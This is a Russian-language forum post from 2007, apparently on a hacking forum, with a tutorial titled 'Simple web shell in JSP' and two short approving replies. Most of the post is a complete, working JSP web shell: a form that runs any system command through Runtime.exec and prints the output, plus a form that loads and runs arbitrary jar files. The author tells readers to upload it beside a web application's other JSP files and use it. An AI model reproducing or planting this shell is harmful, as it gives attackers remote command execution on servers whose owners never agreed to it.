Авторские статьи Простой веб шел на Jsp

Discussion in 'Статьи' started by ~Hidrag~, 24 May 2007.

  1. ~Hidrag~

    ~Hidrag~ Member

    Joined:
    7 Dec 2006
    Messages:
    19
    Likes Received:
    17
    Reputations:
    28
    Простой веб шелл на JSP.


    Содержание:
    1. Начальные требования.
    2. Запуск приложений из Java программ.
    3. Запуск Jar файлов из Java программ.
    4. Что такое JSP.
    5. Собираем все в кучу.

    1. Начальные требования.
    Комп, операционная система, устновленная на ней JDK. Также необходимы начальные знания программирования на Java, то есть уметь написать класс и уметь его скомпилить и запустить потом, как это делать объяснять не буду, все можно найти в сети.

    2. Запуск приложений из Java программ.
    Запускать внешние приложения из Java программ можно так же как это делается с консоли, для этого в коде нужно написать:
    Code:
        Process proc = Runtime.getRuntime().exec(com);
    
    где com стринговая переменная с командой, например "notepad" - запустится "Блокнот", если запускать в винде. Для того чтобы прочитать вывод который выдает команда в консоль нужно прописать:
    Code:
        InputStream in = proc.getInputStream();
    
    Таким образом в инпутстрим попадет весь вывод команды на консоль, прочитать ее можно, например так:
    Code:
    ArrayList ar = new ArrayList();
    BufferedReader br = new BufferedReader(new InputStreamReader(in));
        String l;
        while ((l=br.readLine())!=null) {
            ar.add(l);
        }
    
    То есть все строки вывода у нас оказываются в коллекции.

    Чтобы все это заработало, необходимо в класс добавить заголовки:
    Code:
    import java.io.*;
    
    Вот таким простым способом в Java программе можно запустить любое приложение, едем дальше.

    3. Запуск Jar файлов из Java программ.
    Теперь давайте перейдем к другой теме, это как запустить из Java программы другую Java программу, упакованную в jar архив.

    Для этого есть как минимум 2 известных мне способа:
    Первый - это как и в прошлый раз с помошью рантайма:
    Code:
    Process proc = Runtime.getRuntime().exec("java -jar MyProgramm.jar");
    
    Таким образом jar архив будет запущен как внешняя программа, для него будет новый инстанс JVM и операционка будет видеть это как новый процесс, хотя так оно и есть на самом деле.
    Сразу скажу что на многих Java хостингах эта функцию в Java отрубленна, то есть ваш java код не имеет прав на запуск внешнего приложения. Кстати это можно настроить на каждой машине, будет интересно напишу как.
    Но есть другой интересный способ запуска Java программ из других Java программ. При этом вторая программа будет работать в одном процессе с запускаемой и использовать ту же JVM и тот же блок памяти с одной поправкой, это справидливо только для приложений написанных по J2SE.
    Если запустить таким образом программу из Web приложения то веб сервер запустит ее в новом процессе что конечно минус, но я еще ни разу не видел чтобы такая возможность была отключена да и ее не будет никто отключать, потому что примерно таким же образом и грузятся JDBC драйвера для баз данных, а веб приложения без использования баз данных это редкость. Хотя может и можно это настроить, не знаю пока.
    Запустить можно использую такой вот код:
    Code:
        private void go(String jar, String clas, String[] args) {
            ArrayList ar = new ArrayList();
            try {
                URL[] urls = {new File(jar).toURL()};
                URLClassLoader urlClassLoader = new URLClassLoader(urls);
                Class clazz = urlClassLoader.loadClass(clas);
                Class[] parameterTypes = new Class[] {String[].class};
                Method method = clazz.getDeclaredMethod("main",parameterTypes);
                method.invoke(null, (Object)args);
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
    
    Обратите внимание на обьявление метода, первым параметром идет абсолютный путь с именем Jar файла, например C:\MySoft.jar, вторым параметром идет название класса, в котором находится метод "main", третий параметр это строковый массив содержащий в себе параметры, то есть если вы запускаете с консоли jar файл, например так:
    Code:
    java -jar MySoft.jar param1 
    то вызывать метод нужно так:
    Code:
    go("MySoft.jar,"ru.antichat.MainClass",new String[]{"param"});
    Обратите внимание на то, что главный класс нужно указывать относительно пакета в котором он лежит, начиная от корня.
    Так же нужно добавить еще заголовков:
    Code:
    import java.lang.reflect.Method;
    import java.net.URL;
    import java.net.URLClassLoader;
    
    Еще одна важная деталь! Запускающая и запускаемая программа должны быть написаны на одной версии Java, например 1.4, 1.5, ... чтобы не было конфликтов. И запускаться программа будет с рабочим каталогом запускаемой, это тоже нужно учитывать например если запускаемая программа будет работать с файлами.

    4. Что такое JSP
    JSP - это JavaServerPage. Это страницы код на которых выполняется на стороне сервераа клиенту возвращается лишь готовая html, как и у php например. Остальное расказывать не буду, это другая тема можно найти в гугле всю инфу. Единственное скажу, что для запуска веб приложений java нужен сервер приложений, чаще всего используется Apache Tomcat.

    5. Собираем все в кучу.
    Теперь давайте соберем все это вместе. Итак, нам нужна заготовка - html страница с полями ввода, например такая:

    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
    "http://www.w3.org/TR/html4/loose.dtd">
    
    <html>
        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
            <title>Web command line</title>
    
        </head>
        <body>
            <br>
            Введите команду:
            <br>
            <form method="POST">
                <input type="text" name="command" value="" />
                <input type="submit" value="Run" name="run" />
            </form>
    
            <br>
            <br>
            Запуск jar файла:
            <br>
            <form method="POST">
                Путь к файлу:<input type="text" name="jar" value="" />
                Название главного класса:<input type="text" name="class" value="" />
                Параметр:<input type="text" name="param" value="" />
    
                <input type="submit" value="Run" name="run" />
            </form>
            <br>
    
            Вывод:
            <br>
    
        </body>
    </html>
    
    а теперь добавим в нее весь тот код что я и описывал выше:
    Code:
    <%@page contentType="text/html;charset=UTF-8"%>
    <%@page pageEncoding="UTF-8"%>
    <%@page import = "java.io.*" %>
    <%@page import = "java.util.*" %>
    <%@page import =  "java.lang.reflect.Method" %>
    <%@page import = "java.net.URL" %>
    <%@page import = "java.net.URLClassLoader" %>
    
    
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
    "http://www.w3.org/TR/html4/loose.dtd">
    <%
    ArrayList ar = new ArrayList();
    ArrayList ar2 = new ArrayList();
    
    String com = (String)request.getParameter("command");
    String jar = (String)request.getParameter("jar");
    String clas = (String)request.getParameter("class");
    String param = (String)request.getParameter("param");
    
        
    if (com!=null) {
        Process proc = Runtime.getRuntime().exec(com);
        InputStream in = proc.getInputStream();
        BufferedReader br = new BufferedReader(new InputStreamReader(in));
        String l;
        while ((l=br.readLine())!=null) {
            ar.add(l);
        }
    }
    
    if ((jar!=null)&&(clas!=null)) {
        try {
            String[] pm = new String[] {param};
            Object p = (Object)pm; 
            URL[] urls = {new File(jar).toURL()};
            URLClassLoader urlClassLoader = new URLClassLoader(urls);
            Class clazz = urlClassLoader.loadClass(clas);
            Class[] parameterTypes = new Class[] {String[].class};
            Method method = clazz.getDeclaredMethod("main",parameterTypes);
            method.invoke(null, p);
        } catch (Exception ex) {
            ar2.add(ex.getMessage());
        }
    }
    %>
    <html>
        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
            <title>Web command line</title>
        </head>
        <body>
            <br>
            Введите команду:
            <br>
            <form method="POST">
                <input type="text" name="command" value="" />
                <input type="submit" value="Run" name="run" />
            </form>
            <br>
            <br>
            Запуск jar файла:
            <br>
            <form method="POST">
                Путь к файлу:<input type="text" name="jar" value="" />
                Название главного класса:<input type="text" name="class" value="" />
                Параметр:<input type="text" name="param" value="" />
                <input type="submit" value="Run" name="run" />
            </form>
            <br>
    
            Вывод:
            <br>
    <%
            if (ar.size()>0) {
            for (Object o:ar) {
                String ou = (String)o; 
    %>
                <br>
                <%=ou%>
    <%
            }
            }
            if (ar2.size()>0) {
            for (Object o:ar2) {
            String ou = (String)o; 
    %>
            <br>
            <%=ou%>
    <%
            }
            }
    %>
        </body>
    </html>
    
    и поменяем расширение файла с html на jsp.
    Честно, скажу если бы я увидел что программист таким образом пишет jsp страницу я бы его прибил на месте - смесь java кода и html кода - не есть гуд, но так как нам нужно чтобы весь код был в одном файле - выбора нет.
    Сохраняем и заливаем на хост к какомунибудь веб приложению, там где у него хранятся другие jsp файлы... и юзаем.
    Заметьте, что в этой странице я не делаю вывод на страницу выходного потока при запуске jar файла. Оставлю это как зарядку для ума, лишь подскажу: по умолчанию в Java приложениях систем.оут идет на консоль, нужно переопределить выход не на консоль а в СтримВрайтер а из него потом читать инпут стрим как и сделано при запуске обычного внешнего приложения.

    На этом все. Это моя первая статья. Прошу ногами не пинать, если есть что добавить выслушаю - добавлю, если где наварл изменю - поправлю, если что не понятно - отвечу.

    Special for Antichat from ~Hidrag~
     
    12 people like this.
  2. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Пожалуй об этом еще не писали здесь. Мне понравилось.
     
  3. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Кстати да, в свое время это и привлекло в джаве, а полтом заметил, что это и есть нормальная практика для многих технологий. правда про которые большинство не знает =)